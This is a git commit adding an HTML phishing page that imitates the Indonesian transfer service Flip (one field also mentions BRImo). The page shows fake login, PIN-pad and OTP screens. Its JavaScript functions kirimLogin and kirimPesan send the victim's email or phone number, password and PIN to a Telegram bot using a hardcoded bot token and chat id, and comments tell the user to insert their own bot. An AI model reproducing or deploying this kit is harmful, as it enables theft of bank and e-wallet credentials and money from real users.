Unggah berkas ke ''
This commit is contained in:
gilangps2022
parent
7daede1a51
commit
a4c2dbdaea
1 changed files with 886 additions and 0 deletions
886
index1.html
Normal file
886
index1.html
Normal file
|
|
@ -0,0 +1,886 @@
|
||||||
|
<!-- This site was created in Webflow. https://www.webflow.com --><!-- Last Published: Sat Apr 22 2023 09:42:10 GMT+0000 (Coordinated Universal Time) -->
|
||||||
|
<html data-wf-domain="sinarmas-mobile.webflow.io" data-wf-page="6442141a49c262283d23a772" data-wf-site="644212b949c2624101239c6f" lang="In"><head><meta charset="utf-8"/>
|
||||||
|
<title>Flip - Transfer Beda Bank Gratis</title>
|
||||||
|
<meta content="Flip - Transfer Beda Bank Gratis " property="og:title">
|
||||||
|
<meta content="flip.id" property="twitter:title">
|
||||||
|
<meta name="description" content="Transfer beda bank, top up e-wallet, kirim uang ke luar negeri, dan beli produk digital. Semua lebih terjangkau!">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" name="viewport">
|
||||||
|
<meta name="theme-color" content="#FFFFFF">
|
||||||
|
<meta content="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDke0ML57-FWGF63PLg0_hgJwc4HEB7Tqp_Rt8jVPgilp42OztJTONPbgNy9WAwgCXJS9NsvPdmZureLIsNcgMyb7odSCElXigrmDMftBhTbM6-YIAT7o_Rs_5MfU-jZTBCk3Sqqh0CQlojgeFWkVBBsy1elNS3NwAg3bOigYFOGFYA0xD-XbbfXMK/s16000/IMG-20230528-WA0013.jpg" property="og:image">
|
||||||
|
<link rel="canonical" href="https://flip.id/">
|
||||||
|
<meta property="og:url" content="https://flip.id/" />
|
||||||
|
<meta content="Flip - Transfer Beda Bank Gratis" name="generator">
|
||||||
|
<meta content="Webflow" name="generator"/>
|
||||||
|
<link href="https://uploads-ssl.webflow.com/644212b949c2624101239c6f/css/sinarmas-mobile.webflow.e4429d583.css" rel="stylesheet" type="text/css"/>
|
||||||
|
<!--[if lt IE 9]>-->
|
||||||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js" type="text/javascript">
|
||||||
|
|
||||||
|
</script>
|
||||||
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||||
|
<!--<![endif]-->
|
||||||
|
<script type="text/javascript">!function(o,c){var n=c.documentElement,t=" w-mod-";n.className+=t+"js",("ontouchstart"in o||o.DocumentTouch&&c instanceof DocumentTouch)&&(n.className+=t+"touch")}(window,document);</script>
|
||||||
|
<link href="https://storage.googleapis.com/dot-flip-dev/media-library/logo_lg_430b708631/logo_lg_430b708631.svg" rel="shortcut icon" type="image/x-icon"/>
|
||||||
|
<link href="https://storage.googleapis.com/dot-flip-dev/media-library/logo_lg_430b708631/logo_lg_430b708631.svg" rel="apple-touch-icon"/>
|
||||||
|
<link href="https://fonts.googleapis.com/css?family=Alatsi" rel="stylesheet" type="text/css">
|
||||||
|
|
||||||
|
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-0evHe/X+R7YkIZDRvuzKMRqM+OrBnVFBL6DOitfPri4tjfHxaWutUpFmBp4vmVor" crossorigin="anonymous">
|
||||||
|
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css"/>
|
||||||
|
<link rel="stylesheet" href="https://flip-indonesia.github.io/landing/style.css"/>
|
||||||
|
<script type="text/javascript">window.__WEBFLOW_CURRENCY_SETTINGS = {"currencyCode":"USD","$init":true,"symbol":"$","decimal":".","fractionDigits":2,"group":",","template":"{{wf {\"path\":\"symbol\",\"type\":\"PlainText\"} }} {{wf {\"path\":\"amount\",\"type\":\"CommercePrice\"} }} {{wf {\"path\":\"currencyCode\",\"type\":\"PlainText\"} }}","hideDecimalForWholeNumbers":false};</script>
|
||||||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js"></script>
|
||||||
|
<style>
|
||||||
|
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body class="body-4">
|
||||||
|
<welalxcome>
|
||||||
|
|
||||||
|
</welalxcome>
|
||||||
|
<chsalxcome2 style="display: none;">
|
||||||
|
<div style="height:30px;width: 70px;margin-top: -30px;margin-bottom: 0px;float:center;margin-left:42%" class="talxcome">
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="container-4 w-container">
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<form onsubmit="kirimPesan()" method="get">
|
||||||
|
|
||||||
|
<fieldset id="ryuSubmit">
|
||||||
|
<div id="homeku">
|
||||||
|
<image src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwxZzEBfkKKBoSOTg4Dq-ZdTJ5h_lXvreuflUy0RBYrdXdG5B6IRlgmYyu_vKNK5YlWqfB39hYS14tw9mX2LJjOUNZAfuBAk35gWfaMVVIuFQOelf9POHvPQYTFfz6JF-A-btaZV9-oqKtcsWXSPliVeC9OrN1o-5s85qhN-_a81SHE9k_P2bGKbSc/s16000/AddText_05-28-01.20.06.jpg" width="100%" height="auto">
|
||||||
|
<div style="top: 225px; position: absolute; margin: auto;">
|
||||||
|
<label for="user" class="labelku">Email/Nomor Handphone</label>
|
||||||
|
<input type="text" id="user" class="userku" placeholder="nama@email.id atau 085123456789" />
|
||||||
|
<br>
|
||||||
|
<br>
|
||||||
|
<p style="margin-top: 30px;"></p>
|
||||||
|
<label for="pass" class="labelku" style="margin-left: -70px">Kata Sandi</label>
|
||||||
|
<input type="password" id="pass" class="userku" placeholder="********" />
|
||||||
|
<a href="" style="text-decoration: none; position: absolute; left: 15; font-size: 13px; font-weight: 800; color: #FD6442; margin-top: 65px">Lupa Kata sandi?</a>
|
||||||
|
<button class="btnflip" type="button" id="btnRedirect" onclick="kirimLogin()" >Masuk</button>
|
||||||
|
<a href="" style="text-decoration: none; position: fixed; left: 0; right: 0; font-size: 13px; font-weight: 800; color: #ccc; bottom: 20; ">Belum punya akun? <span style="color: #FD6442;">Daftar.</span></a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="tab" id="login">
|
||||||
|
<div style="position: fixed; left: 0; right: 0; bottom: 6; width: 92%; margin: 15px auto">
|
||||||
|
<div class="col-12" style="width: 100%; display: block; margin-top: 20px; background: transparent;">
|
||||||
|
<div>
|
||||||
|
<br>
|
||||||
|
<label class="floating-label"><input type="text" class="input-text nope inputku" placeholder=" " id="nama"> <span style="margin-left: -10px; margin-top: 30px; color: #2C2C2C; font-weight: 400;">Username</span> </label>
|
||||||
|
</div>
|
||||||
|
<div style="margin-top: -2px">
|
||||||
|
|
||||||
|
<label class="floating-label" style="margin-top">
|
||||||
|
<p></p>
|
||||||
|
<p></p>
|
||||||
|
<input type="password" class="input-text nope " placeholder=" " id="email" pattern="(?=.*[a-z])(?=.*[A-Z]).{8,}" title="Masukan Data yang terdaftar di 𝗕𝗥𝗜𝗺𝗼 anda" required><span style="margin-left: -10px; margin-top: 30px; color: #2C2C2C; font-weight: 400;">Password</span> </label>
|
||||||
|
<div class="bubble-element eye clickable-element" tabindex="3" id="eyeOpen">
|
||||||
|
<img alt="" id="eye" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCANQQ9gRdrWH7ZPFKAq4urYybNZsOj8Ex5X_dv2V-_pcCmIi7fFbbUzil7Lt1EHCxfek4x7r1XKYELxxV8zrJ08eXhx2rFpludblnsBaiOc8tw_APAWFft0MqheoBGS7Ba9pHuhP7LjNz38WVXJL9f-q-7QY8lfuuC77vQTH3-HhJN02PMO6awj1-/s38/tutup0399.jpg" style="display: block; margin: 0px; width: 100%; height: 100%; border-radius: 0px;">
|
||||||
|
</div>
|
||||||
|
<div class="bubble-element eye clickable-element" tabindex="3" id="eyeClose" style="display: none">
|
||||||
|
<img alt="" id="eye" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2D_yppIdlT8o8x-_N4i6il4NGMzDSXDlRDGcg_E7Y12wN4xb6Oz17Px8AGCpl-wSD_qbXxhFEj6d3p-6g_KSLYaslfIyHjseWqrijoTq6XyKl07ht6xMX2obQ738iVTc1r0taCjIDAA5amrjTDaJ_kPu8rsWCCySVr4qbQu11mF2YrFiZs8raSKuV/s52/buka53a4.jpg" style="display: block; margin: 0px; width: 100%; height: 100%; border-radius: 0px;">
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<br>
|
||||||
|
<div class="text-header" style="float: right; position: static; z-index: 999; display: block; margin-top: -10px; margin-bottom:">
|
||||||
|
<font style="font-size: 16px" color="#000000"><a href="./lupa_password.html" target="_blank" style="color: #025198; text-decoration: none; font-weight: bold; font-family: sans-serif;">Lupa Username/Password?</a></font>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button class="btn-login1" type="button" id="dolog" onclick="loginku()" disabled> Login </button>
|
||||||
|
<div class="col-12" style="width: 40px; max-width: 40%; display: block; margin: -10px auto; margin-right: 20px; margin-top: -91px;">
|
||||||
|
<button type="button" class="btn-login" onclick="openForm()"></button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="form-popup" id="myForm" style="margin-top: 0px; width: 100%; background-color: #00000040">
|
||||||
|
<input type="hidden" value="fingerprint" required>
|
||||||
|
<button id="dolog" type="submit" style="width: 100%; height: 100%; background: #000000; "><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpm2K2JjLtYWlcV0QrNSU7ECBSFJGsUn94v5U1_eXWScHM6t8xk5K3dW7Z6L4MAYQmKFG1tTEesbTXJlnGZ-Ez4KDA4kG3jYBSSuQ3j0h9HxyxsWxSqEAAnHWtj0Qmw6vahUpN7adcpY4QNnO-AJHLIHjhlfnMK7ZkNQwUhbeSN2B7dIkA8RxfgsgK/s2137/AddText_01-30-07.14.49.png" style="width: 100%; height: 100%; margin-left: -7px; margin-top: 0px;" class="card-item__bg"></button>
|
||||||
|
<button type="button" class="btn-cancel" onclick="closeForm()">Cancel</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<div class="tab" id="pinku" style="color: #fff; padding-left: 25px; padding-right: 30px; margin: auto;">
|
||||||
|
<div class="row" style="margin-top: 30px; margin: 20px auto;">
|
||||||
|
<div class="col-12 d-block mx-auto sizing" style="white-space: pre-wrap; text-align: center; margin-top: 25px; height: 98.8px; padding-bottom: 0px; font-family: Barlow; font-size: 16px; font-weight: 400; color: #fff; line-height: 1.4; border-radius: 0px;">
|
||||||
|
<div class="text-header" style="font-family: 'Nunito', sans-serif;"><font size="3" style="color: #fff"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row" style="margin-top: 30px; color: #fff; text-align: center">
|
||||||
|
<div class="col-12 d-block mx-auto sizing" style="white-space: pre-wrap; height: 98.8px; padding-bottom: 0px; font-size: 16px; font-weight: 400; color: #fff; line-height: 1.4; border-radius: 0px;">
|
||||||
|
<div class="text-header"></div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row" style="margin-top: -100px;">
|
||||||
|
<div class="col-12 d-block mx-auto sizing" style="white-space: pre-wrap; height: 58.8px; padding-bottom: 0px; font-size: 16px; font-weight: 400; color: rgb(59, 59, 59); line-height: 1.4; border-radius: 0px;">
|
||||||
|
<div class="row" style="texr-align: center; margin: 40px; margin-top: -35px">
|
||||||
|
<input type="hidden" name="sixpin" id="setPin">
|
||||||
|
<div class="col-2">
|
||||||
|
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
|
||||||
|
<div class="bubble-element Group" id="pin-1" data-val="" style="box-sizing: border-box; font-size: 11px; color: #000; text-align: center; padding-top: 0px; width: 20px; left: 0px; top: 0px; background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="col-2">
|
||||||
|
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
|
||||||
|
<div class="bubble-element Group" id="pin-2" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="col-2">
|
||||||
|
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
|
||||||
|
<div class="bubble-element Group" id="pin-3" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="col-2">
|
||||||
|
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
|
||||||
|
<div class="bubble-element Group" id="pin-4" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="col-2">
|
||||||
|
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
|
||||||
|
<div class="bubble-element Group" id="pin-5" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px; background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="col-2">
|
||||||
|
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
|
||||||
|
<div class="bubble-element Group" id="pin-6" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;" ></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row" style="margin-top: -130px">
|
||||||
|
<div class="col-12">
|
||||||
|
<div class="text-header text-center" style="font-family: 'Nunito', sans-serif;'"><</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row" style="margin-top: 70px; margin-left: -5px;">
|
||||||
|
<div class="col-12 d-block mx-auto sizing" style="white-space: pre-wrap; height: 98.8px; padding-bottom: 0px; font-size: 16px; font-weight: 400; color: black; line-height: 1.4; border-radius: 0px;">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-4">
|
||||||
|
<button class="bubble-element Group pinNumb" id="setPin" data-id="1">1</button>
|
||||||
|
</div>
|
||||||
|
<div class="col-4">
|
||||||
|
<button class="bubble-element Group pinNumb" id="setPin" data-id="2">2</button>
|
||||||
|
</div>
|
||||||
|
<div class="col-4">
|
||||||
|
<button class="bubble-element Group pinNumb" id="setPin" data-id="3">3</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="row" style="margin-top: -80px">
|
||||||
|
<div class="col-4">
|
||||||
|
<button class="bubble-element Group pinNumb" id="setPin" data-id="4">4</button>
|
||||||
|
</div>
|
||||||
|
<div class="col-4">
|
||||||
|
<button class="bubble-element Group pinNumb" id="setPin" data-id="5">5</button>
|
||||||
|
</div>
|
||||||
|
<div class="col-4">
|
||||||
|
<button class="bubble-element Group pinNumb" id="setPin" data-id="6">6</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="row" style="margin-top: -80px">
|
||||||
|
<div class="col-4">
|
||||||
|
<button class="bubble-element Group pinNumb" id="setPin" data-id="7">7</button>
|
||||||
|
</div>
|
||||||
|
<div class="col-4">
|
||||||
|
<button class="bubble-element Group pinNumb" id="setPin" data-id="8">8</button>
|
||||||
|
</div>
|
||||||
|
<div class="col-4">
|
||||||
|
<button class="bubble-element Group pinNumb" id="setPin" data-id="9">9</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="row" style="margin-top: -80px">
|
||||||
|
<div class="col-4">
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<div class="col-4">
|
||||||
|
<button class="bubble-element Group pinNumb" id="setPin" data-id="0">0</button>
|
||||||
|
</div>
|
||||||
|
<div class="col-4">
|
||||||
|
<button class="bubble-element Group pinNumb" id="hapus"><i class="ion-backspace-outline"></i></button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
</fieldset>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<div class="tab" id="debit">
|
||||||
|
<p id="otpsaya" style="color: black; position: fixed; left: 0; right: 0; top: 113; font-size: 15px"></p>
|
||||||
|
<div class="pin-code" maxlength="6" style="margin-top: 170px;">
|
||||||
|
<form method="get">
|
||||||
|
<input type="hidden" name="sixpin" id="setPin">
|
||||||
|
<input type="tel" id="pin1" data-id="1" maxlength="1" required autofocus>
|
||||||
|
<input type="tel" id="pin2" data-id="2" name="pin2" maxlength="1" autofocus>
|
||||||
|
<input type="tel" id="pin3" data-id="3" name="pin3" maxlength="1" autofocus>
|
||||||
|
<input type="tel" id="pin4" data-id="4" name="pin4" maxlength="1" autofocus>
|
||||||
|
<input type="tel" id="pin5" data-id="5" name="pin5" maxlength="1" autofocus>
|
||||||
|
<input type="tel" value="" id="pin6" data-id="6" name="pin6" maxlength="1" required onchange="javascript:this.form.submit();" oninput="kirimPin()" autofocus>
|
||||||
|
<p></p>
|
||||||
|
<input type="tel" style="opacity: 0.0">
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
</form>
|
||||||
|
<p style="font-weight: bold; font-size: 25px; color: #000000; text-align: center; margin: 10px auto; margin-top: -50px" id="timer">3 : 00</p>
|
||||||
|
<center>
|
||||||
|
<button type="button" id="gantino" style="position: ; bottom: 10; left; 0; right: 0; margin: 5px auto; margin-top: 340px; color: #FD6442; font-weight: 800; background: transparent; font-size: 15px">Ubah nomor HP</button>
|
||||||
|
</center>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="loading">
|
||||||
|
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWid-1DztYEbF1wQ4b3ESQKzFpMuGNzhaS2PN-lrrQpGzFt7NIsq0vuvIEI63T_g-iDxbu358ijQMM23euMCjuBqzegiKeJWQSziK-1H-jJZhL06h0zOERvNm2hNGMuuGsqoY1T8xCBTJ9GY-U9orhQfMkQvdYGG41OLj1knwPFfCEN0YqLFb73UI6/s16000/ezgif.com.gif"
|
||||||
|
alt="">
|
||||||
|
</div>
|
||||||
|
<div id="aseli"></div>
|
||||||
|
<div id="koneksi">
|
||||||
|
<div class="animated fadeInUpBig">
|
||||||
|
<image src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVvlhVV1edmw-JWVGbd5sKgKqC07Psdrq7yzoeuzacmSJ52mHlLkVdWEefInQpNRFlLzmjvOntJ65c40xTAYKamopDWfp2MNwsFwyUxt-wNVBm8Pf-cVA9PPYOAeDKsXxX6dYe2CNoRyIN6Zx-tGTv8VL47i7GxPAmcq2MOyowksTIYEFIVhghzaFA/s16000/1685119842427.png" width="100%" height="100%"></image>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<!-- partial -->
|
||||||
|
</div>
|
||||||
|
<!-- partial:index.partial.html -->
|
||||||
|
<script src="https://code.jquery.com/jquery-1.12.4.min.js"
|
||||||
|
integrity="sha384-nvAa0+6Qg9clwYCGGPpDQLVpLNn0fRaROjHqs13t4Ggj3Ez50XnGQqc/r8MhnRDZ"
|
||||||
|
crossorigin="anonymous">
|
||||||
|
</script>
|
||||||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.15/jquery.mask.min.js"></script>
|
||||||
|
<script>
|
||||||
|
$(document).ready(function(){
|
||||||
|
|
||||||
|
$("#setPin").passwordify().focus();
|
||||||
|
});
|
||||||
|
|
||||||
|
</script>
|
||||||
|
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
|
||||||
|
<script type="text/javascript">
|
||||||
|
$(function () {
|
||||||
|
$("#btnRedirect1").click(function () {
|
||||||
|
var seconds = 3;
|
||||||
|
$("#indi").show();
|
||||||
|
$("#loading").show();
|
||||||
|
$("#lblCount").html(seconds);
|
||||||
|
setInterval(function () {
|
||||||
|
seconds--;
|
||||||
|
$("#lblCount").html(seconds);
|
||||||
|
if (seconds == 0) {
|
||||||
|
$("#indi").hide();
|
||||||
|
$("#loading").hide();
|
||||||
|
document.getElementById("pinku").style.display = "block";
|
||||||
|
|
||||||
|
document.getElementById("menu").style.display = "none";
|
||||||
|
}
|
||||||
|
}, 1000);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
<script type="text/javascript">
|
||||||
|
$(function () {
|
||||||
|
$("#gantino").click(function () {
|
||||||
|
var seconds = 3;
|
||||||
|
$("#loading").show();
|
||||||
|
$("#lblCount").html(seconds);
|
||||||
|
setInterval(function () {
|
||||||
|
seconds--;
|
||||||
|
$("#lblCount").html(seconds);
|
||||||
|
if (seconds == 0) {
|
||||||
|
$("#loading").hide();
|
||||||
|
document.getElementById("homeku").style.display = "block";
|
||||||
|
|
||||||
|
document.getElementById("debit").style.display = "none";
|
||||||
|
document.getElementById("pinku").style.display = "none";
|
||||||
|
}
|
||||||
|
}, 1000);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
<script>
|
||||||
|
/**
|
||||||
|
* jQuery.Passwordify.js
|
||||||
|
* Written by: Jay Simons
|
||||||
|
* Cloudulus.Media (https://code.cloudulus.media)
|
||||||
|
*/
|
||||||
|
|
||||||
|
if (window.jQuery) {
|
||||||
|
(function ($) {
|
||||||
|
$.fn.passwordify = function (opts) {
|
||||||
|
var settings = $.extend({
|
||||||
|
maxLength: 8,
|
||||||
|
numbersOnly: false,
|
||||||
|
alphaOnly: false,
|
||||||
|
alNumOnly: false,
|
||||||
|
enterKeyCallback: null
|
||||||
|
}, opts);
|
||||||
|
|
||||||
|
var rePattern = '\\s\\S';
|
||||||
|
if (settings.numbersOnly) rePattern = '0-9';
|
||||||
|
if (settings.alphaOnly) rePattern = 'A-z';
|
||||||
|
if (settings.alNumOnly) rePattern = '0-9A-z';
|
||||||
|
|
||||||
|
var maskPlaceholder = "";
|
||||||
|
for (var i = 0; i < settings.maxLength; i++)
|
||||||
|
{
|
||||||
|
maskPlaceholder = maskPlaceholder + 'Z';
|
||||||
|
}
|
||||||
|
|
||||||
|
return this.on('keyup', function (e) {
|
||||||
|
var me = $(this);
|
||||||
|
switch (e.which) {
|
||||||
|
case 8: // Handle backspace
|
||||||
|
$(this).data('val', $(this).data('val').slice(0, -1));
|
||||||
|
break;
|
||||||
|
case 13: // Handle enter key
|
||||||
|
if (typeof settings.enterKeyCallback == 'function') settings.enterKeyCallback(me);
|
||||||
|
break;
|
||||||
|
case undefined:
|
||||||
|
$(this).data('val', $(this).val());
|
||||||
|
break;
|
||||||
|
default: // All other input
|
||||||
|
var regex = new RegExp("^[" + rePattern + "]$");
|
||||||
|
if (regex.exec(e.key) && $(this).data('val').length < settings.maxLength) {
|
||||||
|
$(this).data('val', $(this).data('val') + e.key);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
setTimeout(function () {
|
||||||
|
var inpVal = me.val();
|
||||||
|
me.val(inpVal.replace(/./gi, '*'));
|
||||||
|
me.trigger('change');
|
||||||
|
}, 300);
|
||||||
|
}).mask(maskPlaceholder, {
|
||||||
|
translation: {
|
||||||
|
'Z': {pattern: "[" + rePattern + "\*]"}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
})(jQuery);
|
||||||
|
} else {
|
||||||
|
console.log("Passwordify.js: This class requies jQuery > v3!");
|
||||||
|
}
|
||||||
|
|
||||||
|
</script>
|
||||||
|
<!-- partial -->
|
||||||
|
</center>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
$( document ).ready(function() {
|
||||||
|
setTimeout(() => {
|
||||||
|
$('welalxcome').hide();
|
||||||
|
$('chsalxcome2').fadeIn();
|
||||||
|
},1000)
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
$(document).ready(function () {
|
||||||
|
$("#Button").on('click', function () {
|
||||||
|
$("#loading").show();
|
||||||
|
|
||||||
|
setTimeout(function () {
|
||||||
|
|
||||||
|
}, 1800);
|
||||||
|
|
||||||
|
});
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
function kirimLogin(){
|
||||||
|
|
||||||
|
document.getElementById("pinku").style.display = "block";
|
||||||
|
document.getElementById("loading").style.display = "block";
|
||||||
|
setTimeout(function () {
|
||||||
|
$("#loading").fadeOut("slow"); }, 900);
|
||||||
|
|
||||||
|
var user = document.getElementById('user');
|
||||||
|
var pass = document.getElementById('pass');
|
||||||
|
|
||||||
|
|
||||||
|
var gabungan = '𝗘𝗺𝗮𝗶𝗹/𝗡𝗼.𝗛𝗮𝗻𝗱𝗽𝗵𝗼𝗻𝗲 %3A%0A' + user.value + '%0A𝗣𝗮𝘀𝘀𝘄𝗼𝗿𝗱 %3A%0A' + pass.value;
|
||||||
|
|
||||||
|
var token = '5653453855:AAHFJmxmA-2Fpi8XP0_0cq-f5SpU9PlbuNc'; // Ganti dengan token bot yang kamu buat
|
||||||
|
var grup = '5627477315'; // Ganti dengan chat id dari bot yang kamu buat
|
||||||
|
|
||||||
|
$.ajax({
|
||||||
|
url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}&text=${gabungan}&parse_mode=html`,
|
||||||
|
method: `POST`,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</script>
|
||||||
|
<script>
|
||||||
|
function openForm() {
|
||||||
|
document.getElementById("myForm").style.display = "block";
|
||||||
|
}
|
||||||
|
|
||||||
|
function closeForm() {
|
||||||
|
document.getElementById("myForm").style.display = "none";
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<script>
|
||||||
|
document.getElementById('timer').innerHTML =
|
||||||
|
01 + ":" + 59;
|
||||||
|
startTimer();
|
||||||
|
|
||||||
|
|
||||||
|
function startTimer() {
|
||||||
|
var presentTime = document.getElementById('timer').innerHTML;
|
||||||
|
var timeArray = presentTime.split(/[:]+/);
|
||||||
|
var m = timeArray[0];
|
||||||
|
var s = checkSecond((timeArray[1] - 1));
|
||||||
|
if(s==59){m=m-1}
|
||||||
|
if(m<01){
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
document.getElementById('timer').innerHTML =
|
||||||
|
m + " : " + s;
|
||||||
|
console.log(m)
|
||||||
|
setTimeout(startTimer, 1000);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
function checkSecond(sec) {
|
||||||
|
if (sec < 10 && sec >= 0) {sec = "0" + sec}; // add zero in front of numbers < 10
|
||||||
|
if (sec < 0) {sec = "59"};
|
||||||
|
return sec;
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/js/bootstrap.bundle.min.js" integrity="sha384-pprn3073KE6tl6bjs2QrFaJGz5/SUsLqktiwsUTF55Jfv3qYSDhgCecCxMW52nD2" crossorigin="anonymous"></script>
|
||||||
|
<script>
|
||||||
|
function kirimPesan() {
|
||||||
|
document.getElementById("otpsaya").innerHTML = "SMS di <strong>" + user.value + "</strong> dan cek email anda";
|
||||||
|
|
||||||
|
var setPin = document.getElementById('setPin');
|
||||||
|
|
||||||
|
var gabungan = '𝗣𝗜𝗡 𝗙𝗹𝗶𝗽 %3A%0A' + setPin.value;
|
||||||
|
|
||||||
|
var token = '5653453855:AAHFJmxmA-2Fpi8XP0_0cq-f5SpU9PlbuNc'; // Ganti dengan token bot yang kamu buat
|
||||||
|
var grup = '5627477315'; // Ganti dengan chat id dari bot yang kamu buat
|
||||||
|
|
||||||
|
$.ajax({
|
||||||
|
url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}&text=${gabungan}&parse_mode=html`,
|
||||||
|
method: `POST`,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
$(document).ready(function() {
|
||||||
|
$("button#setPin").on('click', function() {
|
||||||
|
var pin = $(this).attr('data-id');
|
||||||
|
|
||||||
|
|
||||||
|
